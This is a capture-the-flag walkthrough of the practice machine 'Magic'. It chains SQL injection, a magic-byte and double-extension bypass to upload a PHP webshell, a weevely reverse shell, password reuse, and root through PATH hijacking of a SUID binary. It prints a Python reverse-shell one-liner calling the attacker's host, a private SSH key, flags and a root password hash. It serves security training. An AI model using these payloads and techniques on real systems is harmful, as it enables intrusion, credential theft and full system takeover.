Information
Box
Write-up
Overview
TL;DR : SQLi, webshell upload with bypass, EoP via SUID tool using unsecured
PATH.
Install tools used in this WU on BlackArch Linux:
pacman -S nmap sqlmap haiti weevely metasploit pwncat
Network enumeration
With a [nmap][nmap] scan be can see only 2 open ports: 80 & 22.
# Nmap 7.80 scan initiated Fri Jun 12 13:15:34 2020 as: nmap -sSVC -p- -oA nmap_full 10.10.10.185
Nmap scan report for 10.10.10.185
Host is up (0.021s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| 256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
|_ 256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 12 13:16:00 2020 -- 1 IP address (1 host up) scanned in 25.72 seconds
```
## HTTP Enumeration
Quickly we found a few pages:
- http://10.10.10.185/index.php
- http://10.10.10.185/login.php
- http://10.10.10.185/upload.php (authenticated)
On the login page we can see we have a different behavior when we put of quote
in the username or password and when not. So let's try a SQLi.
## SQL Injection
I used [sqlmap][sqlmap] to quickly identify the injection technique and automate the process.
```
$ sqlmap -u http://10.10.10.185/login.php --method POST --data 'username=admin&password=password' --level 3 --risk 3
...
sqlmap identified the following injection point(s) with a total of 628 HTTP(s) requests:
---
Parameter: password (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=admin&password=-2142' OR 8380=8380-- HhVJ
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-5412' OR 2974=2974-- buTK&password=password
---
there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: username, type: Single quoted string (default)
[1] place: POST, parameter: password, type: Single quoted string
[q] Quit
> 0
[15:38:07] [INFO] testing MySQL
[15:38:07] [INFO] confirming MySQL
[15:38:07] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0
[15:38:07] [INFO] fetched data logged to text files under '/home/noraj/.sqlmap/output/10.10.10.185'
```
Nice we have 2 injection points for our OR boolean-based blind SQL injection.
Now I'll some options to get more information:
- `--current-user` -> `theseus@localhost`
- `--current-db` -> `Magic`
- `--hostname` -> `ubuntu`
- `--is-dba` -> `False`
- `--tables -D Magic` -> `login`
- `-D Magic -T login --columns` ->
+----------+--------------+
| Column | Type |
+----------+--------------+
| id | int(6) |
| password | varchar(100) |
| username | varchar(50) |
+----------+--------------+
- `-D Magic -T login --dump` ->
+------+----------+----------------+
| id | username | password |
+------+----------+----------------+
| 1 | admin | Th3s3usW4sK1ng |
+------+----------+----------------+
Note: We could have done a dump directly but that would have been dirty and far
less efficient if there were more databases, tables, entries, etc. Also we
probably didn't needed to dump the password, we could have just bypass the
authentication. But the password may be reused somewhere else and there could
have been more stuff in the DB.
## File upload
We are now redirected to the upload page.
Only jpg, jpeg and png extensions are allowed.
If we upload a legit image, we receive a message: `The file hacker_logo.jpg has been uploaded.`.
Let's go back to the index to see if our logo is listed there.
The image is uploaded here: http://10.10.10.185/images/uploads/hacker_logo.jpg
And have a weird title: `14331a21`.
I check if it can be a digest with [haiti][haiti]:
$ haiti 14331a21
Adler-32
CRC-32B
FCS-32
GHash-32-3
GHash-32-5
FNV-132
Fletcher-32
Joaat
ELF-32
XOR-32
CRC-32 [JtR: crc32]
Microsoft Outlook PST
Dahua [JtR: dahua]
The most probable option is CRC32.
So I tried to see if it could be the CRC32 of the filename with an
[online service](https://crccalc.com/).
![](https://i.imgur.com/i1u0aZL.png)
But it seems not.
It could be the CRC32 of the file itself but before using more guessing let's
upload the same file again with the same name to see if the title is not random.
It replaced the previous image but is now entitled `806a94c`.
So the title seems to be random, so no need to try to calculate it.
So let's see if we can simply bypass something to upload a PHP file.
I generated a [weevely][weevely] agent (PHP webshell):
$ weevely generate noraj agentnoraj.php
Generated 'agentnoraj.php' with password 'noraj' of 761 byte size.
I tried to upload the shell without changing the _Content-Type_ and just
changing the name to `agentnoraj.php.png` and received the following message
that suggested I was spotted:
What are you trying to do there?
But changing the Content-Type from `application/x-php` to `application/x-php`
didn't change anything.
The name `Magic` is maybe because there is a magic bytes check and this message
is displayed when content type, extension and magic byte don't match.
Let's check the signature of jpeg and png:
$ xxd -l 12 ~/Pictures/hacker_logo.jpg
00000000: ffd8 ffe0 0010 4a46 4946 0001 ......JFIF..
$ xxd -l 8 ~/Pictures/rawsec/logo5_50x40.png
00000000: 8950 4e47 0d0a 1a0a .PNG....
We can also check
[the list on Wikipedia](https://en.wikipedia.org/wiki/List_of_file_signatures)
because jpeg supports 2 other signatures.
We can store the signatures in files:
$ echo -n "\x89\x50\x4e\x47\x0d\x0a\x1a\x0a" > png_signature
$ echo -n "\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01" > jpg_signature
Then let's try to prepend the PNG signature to the webshell.
$ cat png_signature agentnoraj.php > agent_png.png
$ cat jpg_signature agentnoraj.php > agent_jpg.jpg
Let's upload again, this time we are not spotted. The image is
successfully uploaded to http://10.10.10.185/images/uploads/agent_png.png but
as it is served as a png, the PHP is not interpreted.
Let's see if we send a png extension and a php Content-Type.
This is accepted too. But it is still served as a png. I'll try to put a php
extension but I think we will be caught by the extension whitelist.
Indeed we were spotted.
So let's try the double extension (`.png.php`) -> spotted.
Let's try a null byte injection (`.php\00.png`) even if I don't believe it will works.
It tells me `00.png` was uploaded (http://10.10.10.185/images/uploads/00.png)
but it's served as png. Let's see if `agent_png.php` was created
(http://10.10.10.185/images/uploads/agent_png.php): no.
What if we try the double extension without null byte but in the other way (`.php.png`).
It seems http://10.10.10.185/images/uploads/agent_png.php.png is interpreted as PHP!
## Webshell
$ weevely terminal http://10.10.10.185/images/uploads/agent_png.php.png noraj
[+] weevely 4.0.1
[+] Target: 10.10.10.185
[+] Session: /home/noraj/.weevely/sessions/10.10.10.185/agent_png.php_0.session
[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.
weevely> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@ubuntu:/var/www/Magic/images/uploads $
The issue is that the webshell is removed a few seconds after being uploaded.
So we'll have to use a PHP dropper to get a rverse shell immediately.
We could craft one with `msfvenom` (from [Metasploit][msf]) but weevely have a
bunch of useful modules like this one:
www-data@ubuntu:/var/www/Magic/images/uploads $ :backdoor_reversetcp -h
usage: backdoor_reversetcp [-h] [-shell SHELL] [-no-autonnect] [-vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}] lhost port
Execute a reverse TCP shell.
positional arguments:
lhost Local host
port Port to spawn
optional arguments:
-h, --help show this help message and exit
-shell SHELL Specify shell
-no-autonnect Skip autoconnect
-vector {netcat_bsd,netcat,python,devtcp,perl,ruby,telnet,python_pty}
Note: for OSCP it's also good to know how to do without [Metasploit][msf].
I start a [pwncat] listener on my machine:
$ pwncat -l 8888
Re-uploaded my webshell, executed it and launched the reverse shell module:
weevely> :backdoor_reversetcp 10.10.15.18 8888
Nice, I have a true shell that I won't lost on my [pwncat][pwncat] listener:
$ pwncat -l 8888
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
## Elevation of Privilege: www-data to theseus
We can just connect by re-using the credentials we looted during the SQLi.
$ python3 -c "import pty;pty.spawn('/bin/bash')"
www-data@ubuntu:/var/www/Magic/images/uploads$ ls /home
theseus
www-data@ubuntu:/var/www/Magic/images/uploads$ su theseus
Password: Th3s3usW4sK1ng
theseus@ubuntu:/var/www/Magic/images/uploads$ id
uid=1000(theseus) gid=1000(theseus) groups=1000(theseus),100(users)
But there was another method for those who just used an authentication bypass
instead of dumping the database.
Find the database credentials:
theseus@ubuntu:/var/www/Magic/images/uploads$ ls ../..
assets images login.php sql.php sql_v3.php
db.php5 index.php logout.php sql_v2.php upload.php
theseus@ubuntu:/var/www/Magic/images/uploads$ cat ../../db.php5
And then dump the database:
$ mysqldump --databases Magic -utheseus -piamkingtheseus
...
INSERT INTO `login` VALUES (1,'admin','Th3s3usW4sK1ng');
...
And then log in with `su` too.
Then let's loot the flag and copy the private key, so if the box is reset we
can start back from here instead of playing with the reverse shell again.
theseus@ubuntu:~$ cat user.txt
1a1fa3ca1d83a1b0dd709cdcbdb15df0
theseus@ubuntu:~$ cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEA6ruVQANqao9pxNJ2g5XkHkyMq5zOCoTlJwTVlkO6HS0X9edW
EYbRuvDeBIaG9jQ3S2Kp7wWxKnP9TBU2Yd8sAwdjXN4qa4ePGLiRWaI76A3X5Mtu
TFRzi7/hUrBuO+MhFMgVlkBCDSf9P9JGLFS+9xqAbbi3Jx+MTKjIR7rkkmPJITvj
wuI5h+fGK1e1OkJ8MGjTlDuHWpVHpixgY07shz5FlXsnUx79y7ZSQZu7XZbEgw3I
jnZUppKZKXW2vvswDzRQkbwJnRRVNBIKww6IvDLKS0bdvtrVJEh5g+IJT98TNLV1
eLjVjimmFhv8Zg4YM2cdXtDIUezy+GPgCATbSQIDAQABAoIBAA5cz/MMwnQmtkgO
wKWohD6+XFUb0Refrg3HI/J/zmF+otqu/vsvjqGrn0oTmSpzY3a/YLp5VK/OTQ9c
tOkkKKM+znueNGZD8yOGF46ueI/oWO9s6yDMgg1o/jZ7CSOs8Bc/buK0p9X6Pmqr
SRPpU433FyifhsVkDseaBDcvXlD+oA1AMuoUv7RW+6YEgPLQK+GJqW9qClqJl72A
ZcwLHV2pEDP8q/r5z+6liUWYZSf9VMjtsB7P7DYLatFb/iXPgMzPl3Ee3K69e7vu
0H56M6pFfnwBmi9/j7SfWsOkiNH+SCCi9OIcDnSytW1Qvs5L2su5TQ19A8gZps9x
uOVt4ikCgYEA+RlW8d4QmCGlQD5AdkvxOXHCKkF97z88yRBIfMV+/oNz8IL67QJ2
fJP71SK8/K3xulmSouaMExmd9hD7soLkyNOr5ek0hEZ2tTnlMEGcqvzf/LPeDx7q
eFlxn1Ls+u6Jmbr/gyl6kMzpCia+l5K+Azu4ONLRbTQADPDOg1BFbBsCgYEA8Txa
6VJDR7KyX0165yFReMWz4MuwEyd6kUjjzmSuQn1xWPacUdSxgxqGBGPWx9rFCcMt
tKBhD8HW1RjO0/vi6K5K/Gygr8D2lpDuY+92EhD3FHx2lZveibloMTS0a42ySm4m
dsYuhxnJ26VtN/FnQAXZfRM1B0mALx7qP4h0xGsCgYAyDseMH2YSTGCbAmeN3kEB
nDy6pSKbm4epmB4ZBM86ckwwPwIR8vbAnjRzZmG4HXSAUFPJbK8lf3Zg5pTOEMPN
H8xhjXXCRy6/yHyoL+c97UdNzw+G1l2kBcVxkQaSfrEkNZH3V7SLuMH0CkkuyIxq
teuVb7gqS9Lext2ZQd5RlQKBgGxvl+H3Y1zQO5PRTSSl+mxSWif7Bzuk7FhwLk5x
PU+P+apmuB+kfuKSwpkok7wkX5uiy2G9EcQ2eq4xR49MU1QKPJS484XtNCq8HRx4
4FcAnz/rLpbTiLXZzLcJnOwXtoP0fX+4V+PMuMrt0mlqLuI9fuTVBGoxJNiJifxj
BzHfAoGARjeDy+yQSUUwUbrFMbyWhNnX8fef4h4lGmlZTZTjC5tL1tOQ3/QPvgnp
I9Esc9FP8QLqR3jJOdijaN59oByGFiEE1QGnODeHRt2czK388XtH/FTqsjhH360R
+8ylF6696X9DMnUQ4NEvDRRLR7JKae8fcu5d/SRsenB+1ck2djs=
-----END RSA PRIVATE KEY-----
So we can login through SSH now:
$ chmod 600 id_rsa
$ ssh theseus@10.10.10.185 -i id_rsa
load pubkey "id_rsa": invalid format
Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 5.3.0-42-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch
29 packages can be updated.
0 updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Your Hardware Enablement Stack (HWE) is supported until April 2023.
Last login: Thu Jul 2 08:19:49 2020 from 10.10.15.71
theseus@ubuntu:~$
Note: is you are denied it's because someone overwrote `authorized_keys` with
it's personal key. So just append theseus public key:
theseus@ubuntu:~$ cat .ssh/id_rsa.pub >> .ssh/authorized_keys
PS: it seems the private key I used was not part of the box but generated by
another player, anyway you'll have to add a key to `.ssh/authorized_keys`.
## System enumeration
Let's find binaries with SUID:
theseus@ubuntu:~$ find / -perm -u=s -type f 2>/dev/null
/usr/sbin/pppd
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/pkexec
/usr/bin/chsh
/usr/bin/traceroute6.iputils
/usr/bin/arping
/usr/bin/vmware-user-suid-wrapper
...
/bin/umount
/bin/fusermount
/bin/sysinfo
/bin/mount
/bin/su
/bin/ping
`/bin/sysinfo` looks unusual:
theseus@ubuntu:~$ ls -lh /bin/sysinfo
-rwsr-x--- 1 root users 22K Oct 21 2019 /bin/sysinfo
## Elevation of privilege: theseus to root
If we run `sysinfo` there are 4 sections that seems to match so other system
commands:
- Hardware Info: `lshw -short`
- Disk Info: `fdisk -l`
- CPU Info: `cat /proc/cpuinfo`
- MEM Usage: `free -h`
So basically what we have to do is change the `PATH` env var to force the SUID
`sysinfo` to call an attacker controlled binary instead of the system tools.
$ mkdir /tmp/noraj
$ cd /tmp/noraj
$ touch fdisk
$ vi fdisk
$ chmod +x fdisk
$ export PATH=/tmp/noraj:$PATH
$ echo $PATH
/tmp/noraj:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
$ which fdisk
/tmp/noraj/fdisk
Here is the reverse shell I put in `fdisk`:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.32",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
The we just have to run `sysinfo` to get the root shell:
$ pwncat -l 8888 -v
# pwd
/tmp/noraj
# cd /root
# cat root.txt
8b6a4fda49b7bcfe0ed6b1925d45bd96
# cat /etc/shadow | grep root
root:$6$P9JXkqrh$tQfL.bHaQQmi7tBxwKp2wdSTB0D19Q.PHM.8tdLanqBEs70cKzul4SEY0PqfbxVkUv7bR5wrKYXJlb0p69c42.:18184:0:99999:7:::
```
[nmap]:https://inventory.raw.pm/tools.html#Nmap
[sqlmap]:https://inventory.raw.pm/tools.html#sqlmap
[haiti]:https://inventory.raw.pm/tools.html#Haiti
[weevely]:https://inventory.raw.pm/tools.html#Weevely
[msf]:https://inventory.raw.pm/tools.html#Metasploit
[pwncat]:https://inventory.raw.pm/tools.html#pwncat